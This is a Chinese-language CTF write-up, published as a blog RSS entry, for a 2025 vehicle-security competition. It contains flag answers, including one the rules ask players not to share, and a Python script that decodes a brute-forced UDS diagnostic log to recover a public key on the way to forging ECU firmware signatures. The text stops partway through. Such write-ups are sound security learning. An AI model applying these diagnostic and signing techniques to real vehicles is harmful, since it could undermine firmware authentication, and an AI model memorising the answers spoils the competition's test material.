<?xml version="1.0" encoding="utf-8" standalone="yes"?><?xml-stylesheet href="/scripts/pretty-feed-v3.xsl" type="text/xsl"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:h="http://www.w3.org/TR/html4/"><channel><title>Hack Your Heart</title><link>https://h4cker.zip/tags/reverse/</link><description>临渊羡鱼，不如退而结网</description><generator>Hugo 0.168.0</generator><language>en</language><atom:link href="https://h4cker.zip/tags/reverse/rss.xml" rel="self" type="application/rss+xml"/><lastBuildDate>Fri, 22 Aug 2025 17:22:23 +0800</lastBuildDate><item><title>Vehicle Cybersecurity Competition CTF 2025 Writeup</title><link>https://h4cker.zip/1f51f4/</link><pubDate>Fri, 22 Aug 2025 17:22:23 +0800</pubDate><guid isPermaLink="true">https://h4cker.zip/1f51f4/</guid><description/><content:encoded xmlns:content="http://purl.org/rss/1.0/modules/content/"><![CDATA[<p>这个比赛名字怎么不统一？之前叫Automotive，是和Vicone合办的，现在叫Vehicle 之类，全称：Global Vehicle Cybersecurity Competition (VCC) 2025</p>
<p>这个赛事是8月22-25和8月29日-9月1日</p>
<p>2024的还没学完，做这个属实不太好，目前 ICV技能树一个都没点完。</p>
<p>今年分了红蓝队两种类型，做了那个签到才能解锁后续题目，这几天是边学边做，但几个地方仍然没有头绪</p>
<p>这里主要参考的yichen大佬，具体知识点我再研究研究</p>
<p>后记：靶场关了，少部分题目迁移到了靶场，也无法复现了，贴一下各家wp：</p>
<blockquote>
<p>yichen的wp：<a
  href="https://mp.weixin.qq.com/s/iy8MbbxXgSyhL5ut60KxgQ" rel="nofollow noopener noreferrer" target="_blank"
  >https://mp.weixin.qq.com/s/iy8MbbxXgSyhL5ut60KxgQ<span style="user-select:none"> ↗</span></a
>
；</p>
<p>第一的wp，他做出了全部题目，不过wp貌似没有全放上来：<a
  href="https://icanhack.nl/blog/blockharbor-ctf-2025-writeup/" rel="nofollow noopener noreferrer" target="_blank"
  >https://icanhack.nl/blog/blockharbor-ctf-2025-writeup/<span style="user-select:none"> ↗</span></a
>
，</p>
<p>某选手的password_change_policy wp：<a
  href="https://dparnishchev.github.io/posts/vcc_2025_password_change_policy/" rel="nofollow noopener noreferrer" target="_blank"
  >https://dparnishchev.github.io/posts/vcc_2025_password_change_policy/<span style="user-select:none"> ↗</span></a
>
</p>
<p>某选手韩语wp：<a
  href="https://taesam.tistory.com/51" rel="nofollow noopener noreferrer" target="_blank"
  >https://taesam.tistory.com/51<span style="user-select:none"> ↗</span></a
>
</p>
</blockquote>
<h2 id="competition-rules签到">Competition Rules（签到）<a class="anchor" href="#competition-rules签到">#</a></h2>
<blockquote>
<p>To begin this competition and unlock the challenges you must thoroughly read through the <a
  href="https://vcc.blockharbor.io/rules" rel="nofollow noopener noreferrer" target="_blank"
  >rules<span style="user-select:none"> ↗</span></a
>
 to find this flag.</p>
<p>By submitting this flag you acknowledge agreement to the rules of this competition.</p>
<p>要开始本次比赛并解锁挑战，您必须仔细阅读规则以找到此标志。</p>
<p>提交此标志即表示您已同意本比赛的规则。</p>
</blockquote>
<p>flag在<a
  href="https://vcc.blockharbor.io/rules" rel="nofollow noopener noreferrer" target="_blank"
  >规则<span style="user-select:none"> ↗</span></a
>
的9.2 Sharing Knowledge</p>
<p>While collaboration between players during the competition is prohibited, sharing knowledge and experiences after the event is encouraged. The only exception is the solution to the first challenge: &ldquo;<strong>i-accept-the-rules</strong>&rdquo; which should not be shared at any time.</p>
<h2 id="blue-team-challenges">Blue Team Challenges<a class="anchor" href="#blue-team-challenges">#</a></h2>
<h3 id="tara-challenge">TARA Challenge<a class="anchor" href="#tara-challenge">#</a></h3>
<p>这个是白送的，给了一个表格，我还以为要做威胁分析打分，谁知道提交就行，测验到了一定分数就给flag，测验全问AI的</p>
<p><strong>BHVicOne:rXaARH0%dL</strong></p>
<h2 id="red-team-challenges">Red Team Challenges<a class="anchor" href="#red-team-challenges">#</a></h2>
<h3 id="autograph-ramn">AutoGraph [RAMN]<a class="anchor" href="#autograph-ramn">#</a></h3>
<blockquote>
<p>Participants are provided with signed firmware files and a diagnostic log file from a &ldquo;caringcaribou&rdquo; UDS RDBI dump, related to a secret over-the-air (OTA) firmware portal in development for RAMN&rsquo;s ECU B and C.</p>
<p>This challenge invites you to delve into intricate vehicle communication data and sophisticated security mechanisms. Can you leverage this information to unlock the ability to sign your own firmware files? Success in this endeavor promises to enable you in learning more about firmware authentication.</p>
<p><strong>Prompt:</strong> I downloaded a firmware update for RAMN’s ECU B and C from a secret OTA portal in development. Can you help me sign my own firmware files? I have attached a caringcaribou UDS RDBI dump log file, if that is any help. (Note: flag is secret key in decimal format – not hexadecimal. It is NOT the password for the .zip file).</p>
<p>参赛者将获得已签名的固件文件以及来自“caringcaribou” UDS RDBI 转储的诊断日志文件，这些文件与 RAMN 的 ECU B 和 C 正在开发中的秘密空中固件（OTA）门户相关。</p>
<p>本挑战要求你深入研究复杂的车辆通信数据和先进的安全机制。你能否利用这些信息解锁签名自有固件文件的能力？成功完成此任务将使你进一步了解固件认证。</p>
<p>提示：我从一个正在开发的秘密 OTA 门户下载了 RAMN 的 ECU B 和 C 的固件更新。你能帮我签名自己的固件文件吗？我已附上一个 caringcaribou UDS RDBI 转储日志文件，或许能有所帮助。（注意：flag 为十进制格式的密钥——不是十六进制。它不是.zip 文件的密码。）</p>
</blockquote>
<p>附件是challenge4_RDID_dump.log和challenge_signed_firmware_files.zip</p>
<p>我最初没看出来日志是什么，yichen的wp说是 <a
  href="https://github.com/CaringCaribou/caringcaribou" rel="nofollow noopener noreferrer" target="_blank"
  >caringcaribou<span style="user-select:none"> ↗</span></a
>
 暴破DID，然后去看了这个工具，以及问了AI，不得不说，再入门一个新行业的时候，各种原理、概念不懂，通过AI学习真的是事半功倍。</p>
<p>为什么是DID暴破流量？</p>
<ol>
<li>看请求ID：<strong><code>7E3</code></strong> 是诊断请求（Tester → ECU），<strong><code>7EB</code></strong> 是 ECU 回复（ECU → Tester）。这正是典型的 <strong>诊断会话 ID 对</strong>。统计结果也印证了：<code>7E3</code> 里有 <strong>8033 条 SF(len&gt;0)</strong>（请求），<code>7EB</code> 里有 <strong>8028 条 SF(len&gt;0)</strong> + 一些 FF/CF（应答）。
这就是完整的请求-应答对。</li>
<li>看请求数据域格式（除掉 PCI）：<code>0x22 DID_H DID_L ...</code> = <strong>ReadDataByIdentifier</strong>。在日志里，7E3 的有效载荷几乎都是 <code>22 xx xx</code>，只是 DID 每次都在变。这就是“逐个尝试不同 DID”的特征。</li>
<li>看 ECU 的回应，<strong>大多数 7EB 应答是</strong> <code>7F 22 31</code> → 否定应答（服务 0x22，NRC=0x31：Request Out Of Range）。说明这个 DID 不支持。少数会返回 <strong>0x62 DID_H DID_L &hellip;</strong> → 肯定应答，带数据。这种模式正好符合“暴破 DID”：测试仪在循环遍历 DID，ECU不支持的都返回 0x31，支持的才回 0x62。</li>
</ol>
<p>在VSEC 2024那篇文章说过DID是存储一些信息的段，通过SID=22的协议去读，所以这里暴破DID就是在遍历所有数据。这里要判断PCI，PCI就是数据域的第一个字节，下面PCI高代表PCI的高四位。</p>
<ul>
<li>单帧：PCI高=0，第一个字节的低四位是数据长度，第二个字节是SID+0x40（0x7F代表否定），第三、四个字节是DID。后面长度对应的字节就是数据</li>
<li>首帧：PCI高=1，第一个字节的低四位和第二个字节共同组成总长度，第三个字节是SID+0x40，第四、五个字节是请求帧的DID。后面是数据</li>
<li>连续帧：PCI高=2，第一个字节的低四位是表示第几个帧，后面都是数据</li>
</ul>
<p>这里要提取数据，不仅要通过PCI截取不同长度的数据，还要判断长度是否合规，比如有效单帧的帧长度是大于等于3的，第二字节是0x62。如果数据长度是0也要排除掉。</p>
<p>根据前面的分析，其实能确定CAN ID是7EB的是回复了，不过脚本不需要用到CAN ID，因为是通过长度和PCI判断的。</p>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="kn">import</span> <span class="nn">re</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl">
</span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="n">file</span><span class="o">=</span><span class="s2">&#34;challenge4_RDID_dump.log&#34;</span>
</span></span><span class="line"><span class="ln"> 4</span><span class="cl">
</span></span><span class="line"><span class="ln"> 5</span><span class="cl">
</span></span><span class="line"><span class="ln"> 6</span><span class="cl"><span class="c1"># 解析每行的CAN ID和数据域</span>
</span></span><span class="line"><span class="ln"> 7</span><span class="cl"><span class="k">def</span> <span class="nf">parse_candump_log</span><span class="p">(</span><span class="n">line</span><span class="p">):</span>
</span></span><span class="line"><span class="ln"> 8</span><span class="cl">    <span class="n">m</span><span class="o">=</span><span class="n">re</span><span class="o">.</span><span class="k">match</span><span class="p">(</span><span class="sa">r</span><span class="s2">&#34;.*can0\s+(\w+)#([0-9A-Fa-f]+)&#34;</span><span class="p">,</span> <span class="n">line</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 9</span><span class="cl">    <span class="k">if</span> <span class="ow">not</span> <span class="n">m</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">10</span><span class="cl">        <span class="k">return</span> <span class="kc">None</span><span class="p">,</span> <span class="kc">None</span>
</span></span><span class="line"><span class="ln">11</span><span class="cl">    <span class="n">can_id</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">m</span><span class="o">.</span><span class="n">group</span><span class="p">(</span><span class="mi">1</span><span class="p">),</span> <span class="mi">16</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">12</span><span class="cl">    <span class="n">data</span> <span class="o">=</span> <span class="nb">bytes</span><span class="o">.</span><span class="n">fromhex</span><span class="p">(</span><span class="n">m</span><span class="o">.</span><span class="n">group</span><span class="p">(</span><span class="mi">2</span><span class="p">))</span>
</span></span><span class="line"><span class="ln">13</span><span class="cl">    <span class="k">return</span> <span class="n">can_id</span><span class="p">,</span> <span class="n">data</span>
</span></span><span class="line"><span class="ln">14</span><span class="cl">
</span></span><span class="line"><span class="ln">15</span><span class="cl"><span class="c1"># 把每个DID的数据都以DID为键名存到字典里</span>
</span></span><span class="line"><span class="ln">16</span><span class="cl"><span class="k">def</span> <span class="nf">extract_data</span><span class="p">(</span><span class="n">file</span><span class="p">):</span>
</span></span><span class="line"><span class="ln">17</span><span class="cl">    <span class="c1"># 初始化存放结果和连续帧的字典</span>
</span></span><span class="line"><span class="ln">18</span><span class="cl">    <span class="n">result</span><span class="o">=</span><span class="p">{}</span>
</span></span><span class="line"><span class="ln">19</span><span class="cl">    <span class="n">multi_frame</span><span class="o">=</span><span class="p">{}</span>
</span></span><span class="line"><span class="ln">20</span><span class="cl">    <span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="n">file</span><span class="p">)</span> <span class="k">as</span> <span class="n">f</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">21</span><span class="cl">        <span class="k">for</span> <span class="n">line</span> <span class="ow">in</span> <span class="n">f</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">22</span><span class="cl">            <span class="c1"># 提取每行的CAN ID，数据域</span>
</span></span><span class="line"><span class="ln">23</span><span class="cl">            <span class="n">can_id</span><span class="p">,</span><span class="n">data</span><span class="o">=</span><span class="n">parse_candump_log</span><span class="p">(</span><span class="n">line</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">24</span><span class="cl">            <span class="k">if</span> <span class="n">data</span> <span class="ow">is</span> <span class="kc">None</span> <span class="ow">or</span> <span class="nb">len</span><span class="p">(</span><span class="n">data</span><span class="p">)</span><span class="o">==</span><span class="mi">0</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">25</span><span class="cl">                <span class="k">continue</span>
</span></span><span class="line"><span class="ln">26</span><span class="cl">            <span class="c1"># 提取第一个字节的高4位为PCI</span>
</span></span><span class="line"><span class="ln">27</span><span class="cl">            <span class="n">pci</span><span class="o">=</span><span class="n">data</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">&gt;&gt;</span> <span class="mi">4</span>
</span></span><span class="line"><span class="ln">28</span><span class="cl">            <span class="k">if</span> <span class="n">pci</span> <span class="o">==</span> <span class="mi">0</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">29</span><span class="cl">                <span class="c1"># 提取应用数据长度</span>
</span></span><span class="line"><span class="ln">30</span><span class="cl">                <span class="n">length</span><span class="o">=</span><span class="n">data</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">&amp;</span> <span class="mh">0x0F</span>
</span></span><span class="line"><span class="ln">31</span><span class="cl">                <span class="c1"># 这里验证的是ISO-TP层长度，如果实际总长小于写的长度，说明CAN帧残缺</span>
</span></span><span class="line"><span class="ln">32</span><span class="cl">                <span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">data</span><span class="p">)</span><span class="o">&lt;</span><span class="mi">1</span><span class="o">+</span><span class="n">length</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">33</span><span class="cl">                    <span class="k">continue</span> 
</span></span><span class="line"><span class="ln">34</span><span class="cl">                <span class="c1"># 把ISO-TP层的载荷提取出来，UDS报文就是这个载荷</span>
</span></span><span class="line"><span class="ln">35</span><span class="cl">                <span class="n">payload</span><span class="o">=</span><span class="n">data</span><span class="p">[</span><span class="mi">1</span><span class="p">:</span><span class="n">length</span><span class="o">+</span><span class="mi">1</span><span class="p">]</span>
</span></span><span class="line"><span class="ln">36</span><span class="cl">                <span class="c1"># 有效UDS回复帧，必定包含SID、DID，至少三个字节,少于3个字节，说明ISO-TP层写的长度短了，此帧有误，不管它</span>
</span></span><span class="line"><span class="ln">37</span><span class="cl">                <span class="c1"># 要求必须是0x22的肯定响应</span>
</span></span><span class="line"><span class="ln">38</span><span class="cl">                <span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span><span class="o">&gt;=</span><span class="mi">3</span> <span class="ow">and</span> <span class="n">payload</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">==</span><span class="mh">0x62</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">39</span><span class="cl">                    <span class="n">did</span><span class="o">=</span><span class="n">payload</span><span class="p">[</span><span class="mi">1</span><span class="p">:</span><span class="mi">3</span><span class="p">]</span>
</span></span><span class="line"><span class="ln">40</span><span class="cl">                    <span class="n">result</span><span class="p">[</span><span class="n">did</span><span class="p">]</span><span class="o">=</span><span class="n">payload</span><span class="p">[</span><span class="mi">3</span><span class="p">:]</span>
</span></span><span class="line"><span class="ln">41</span><span class="cl">            
</span></span><span class="line"><span class="ln">42</span><span class="cl">            <span class="k">elif</span> <span class="n">pci</span> <span class="o">==</span> <span class="mi">1</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">43</span><span class="cl">                <span class="c1"># 首帧至少要有 PCI + 长度 + 0x62 + DID，5个字节</span>
</span></span><span class="line"><span class="ln">44</span><span class="cl">                <span class="c1"># 而且首帧肯定带满数据，长度一定是8，如果总长小于8，说明此帧残缺</span>
</span></span><span class="line"><span class="ln">45</span><span class="cl">                <span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">data</span><span class="p">)</span> <span class="o">&lt;</span> <span class="mi">8</span><span class="p">:</span>  
</span></span><span class="line"><span class="ln">46</span><span class="cl">                    <span class="k">continue</span>
</span></span><span class="line"><span class="ln">47</span><span class="cl">                <span class="c1">#传输的数据总长度</span>
</span></span><span class="line"><span class="ln">48</span><span class="cl">                <span class="n">total_len</span><span class="o">=</span><span class="p">((</span><span class="n">data</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">&amp;</span><span class="mh">0x0F</span><span class="p">)</span><span class="o">&lt;&lt;</span><span class="mi">8</span><span class="p">)</span><span class="o">|</span><span class="n">data</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> 
</span></span><span class="line"><span class="ln">49</span><span class="cl">                <span class="c1"># 首帧的UDS响应</span>
</span></span><span class="line"><span class="ln">50</span><span class="cl">                <span class="n">payload</span><span class="o">=</span><span class="n">data</span><span class="p">[</span><span class="mi">2</span><span class="p">:]</span>
</span></span><span class="line"><span class="ln">51</span><span class="cl">                <span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span><span class="o">&gt;=</span><span class="mi">3</span> <span class="ow">and</span> <span class="n">payload</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">==</span><span class="mh">0x62</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">52</span><span class="cl">                    <span class="n">did</span> <span class="o">=</span> <span class="n">payload</span><span class="p">[</span><span class="mi">1</span><span class="p">:</span><span class="mi">3</span><span class="p">]</span><span class="o">.</span><span class="n">hex</span><span class="p">()</span><span class="o">.</span><span class="n">upper</span><span class="p">()</span>
</span></span><span class="line"><span class="ln">53</span><span class="cl">                    <span class="n">multi_frame</span><span class="p">[</span><span class="n">did</span><span class="p">]</span><span class="o">=</span><span class="p">{</span>
</span></span><span class="line"><span class="ln">54</span><span class="cl">                        <span class="s2">&#34;total_len&#34;</span><span class="p">:</span><span class="n">total_len</span><span class="p">,</span>
</span></span><span class="line"><span class="ln">55</span><span class="cl">                        <span class="s2">&#34;data&#34;</span><span class="p">:</span><span class="n">payload</span><span class="p">[</span><span class="mi">3</span><span class="p">:]</span>
</span></span><span class="line"><span class="ln">56</span><span class="cl">                    <span class="p">}</span>
</span></span><span class="line"><span class="ln">57</span><span class="cl">
</span></span><span class="line"><span class="ln">58</span><span class="cl">
</span></span><span class="line"><span class="ln">59</span><span class="cl">            <span class="k">elif</span> <span class="n">pci</span> <span class="o">==</span> <span class="mi">2</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">60</span><span class="cl">                <span class="c1">#连续帧必须有PCI和1个数据，所以最少2个字节</span>
</span></span><span class="line"><span class="ln">61</span><span class="cl">                <span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">data</span><span class="p">)</span> <span class="o">&lt;</span> <span class="mi">2</span><span class="p">:</span> 
</span></span><span class="line"><span class="ln">62</span><span class="cl">                    <span class="k">continue</span>
</span></span><span class="line"><span class="ln">63</span><span class="cl">                <span class="n">payload</span> <span class="o">=</span> <span class="n">data</span><span class="p">[</span><span class="mi">1</span><span class="p">:]</span>
</span></span><span class="line"><span class="ln">64</span><span class="cl">                <span class="k">for</span> <span class="n">did</span><span class="p">,</span> <span class="n">mf</span> <span class="ow">in</span> <span class="n">multi_frame</span><span class="o">.</span><span class="n">items</span><span class="p">():</span>
</span></span><span class="line"><span class="ln">65</span><span class="cl">                    <span class="c1"># 减3是因为首帧提取的总长度包括了SID，DID的三个字节</span>
</span></span><span class="line"><span class="ln">66</span><span class="cl">                    <span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">mf</span><span class="p">[</span><span class="s2">&#34;data&#34;</span><span class="p">])</span> <span class="o">&lt;</span> <span class="n">mf</span><span class="p">[</span><span class="s2">&#34;total_len&#34;</span><span class="p">]</span> <span class="o">-</span> <span class="mi">3</span><span class="p">:</span> 
</span></span><span class="line"><span class="ln">67</span><span class="cl">                        <span class="n">mf</span><span class="p">[</span><span class="s2">&#34;data&#34;</span><span class="p">]</span> <span class="o">+=</span> <span class="n">payload</span>
</span></span><span class="line"><span class="ln">68</span><span class="cl">                        <span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">mf</span><span class="p">[</span><span class="s2">&#34;data&#34;</span><span class="p">])</span> <span class="o">&gt;=</span> <span class="n">mf</span><span class="p">[</span><span class="s2">&#34;total_len&#34;</span><span class="p">]</span> <span class="o">-</span> <span class="mi">3</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">69</span><span class="cl">                            <span class="n">result</span><span class="p">[</span><span class="n">did</span><span class="p">]</span> <span class="o">=</span> <span class="n">mf</span><span class="p">[</span><span class="s2">&#34;data&#34;</span><span class="p">]</span>
</span></span><span class="line"><span class="ln">70</span><span class="cl">
</span></span><span class="line"><span class="ln">71</span><span class="cl">    <span class="k">return</span> <span class="n">result</span>
</span></span><span class="line"><span class="ln">72</span><span class="cl">
</span></span><span class="line"><span class="ln">73</span><span class="cl"><span class="k">for</span> <span class="n">did</span><span class="p">,</span><span class="n">value</span> <span class="ow">in</span> <span class="n">extract_data</span><span class="p">(</span><span class="n">file</span><span class="p">)</span><span class="o">.</span><span class="n">items</span><span class="p">():</span>
</span></span><span class="line"><span class="ln">74</span><span class="cl">    <span class="k">try</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">75</span><span class="cl">        <span class="n">text</span> <span class="o">=</span> <span class="n">value</span><span class="o">.</span><span class="n">decode</span><span class="p">(</span><span class="s2">&#34;ascii&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">76</span><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;DID 0x</span><span class="si">{</span><span class="n">did</span><span class="si">}</span><span class="s2">: </span><span class="si">{</span><span class="n">text</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">77</span><span class="cl">    <span class="k">except</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">78</span><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s2">&#34;DID 0x</span><span class="si">{</span><span class="n">did</span><span class="si">}</span><span class="s2">: </span><span class="si">{</span><span class="n">value</span><span class="o">.</span><span class="n">hex</span><span class="p">()</span><span class="si">}</span><span class="s2">&#34;</span><span class="p">)</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">python</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<p>我写得比AI好一点，AI居然还求通过连续帧的第一个字节低4位，求连续帧数据长度</p>
<p>运行脚本</p>
<p>可以看到有一个公钥：</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="ln">1</span><span class="cl">-----BEGIN PUBLIC KEY-----
</span></span><span class="line"><span class="ln">2</span><span class="cl">MFYwEAYHKoZIzj0CAQYFK4EEAAoDQgAEzWvXZ0MMevWSHMMCzdJKOq2uXr1kg45NS1z0w8ZWc0Lr
</span></span><span class="line"><span class="ln">3</span><span class="cl">n2qYn0QsXdR3aTXK9kDmPx2fH3wxt9OkhrwHnl+Hsg==
</span></span><span class="line"><span class="ln">4</span><span class="cl">-----END PUBLIC KEY-----</span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">pgp</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>还有一个<code>SECP256k1</code></p>
<p>zip密码可以暴破出来：password12345678</p>
<p>里面有俩hex文件，俩hex.sig文件，hex文件问了AI才知道是ARM架构的芯片固件，不过这里没什么用处</p>
<p>Qwen-Coder很强：https://chat.qwen.ai/s/b575892d-d560-46e4-a329-df2c27734fae?fev=0.0.191</p>
<p>两个sig文件前面一样，我windows装了xxd，所以能直接看到</p>
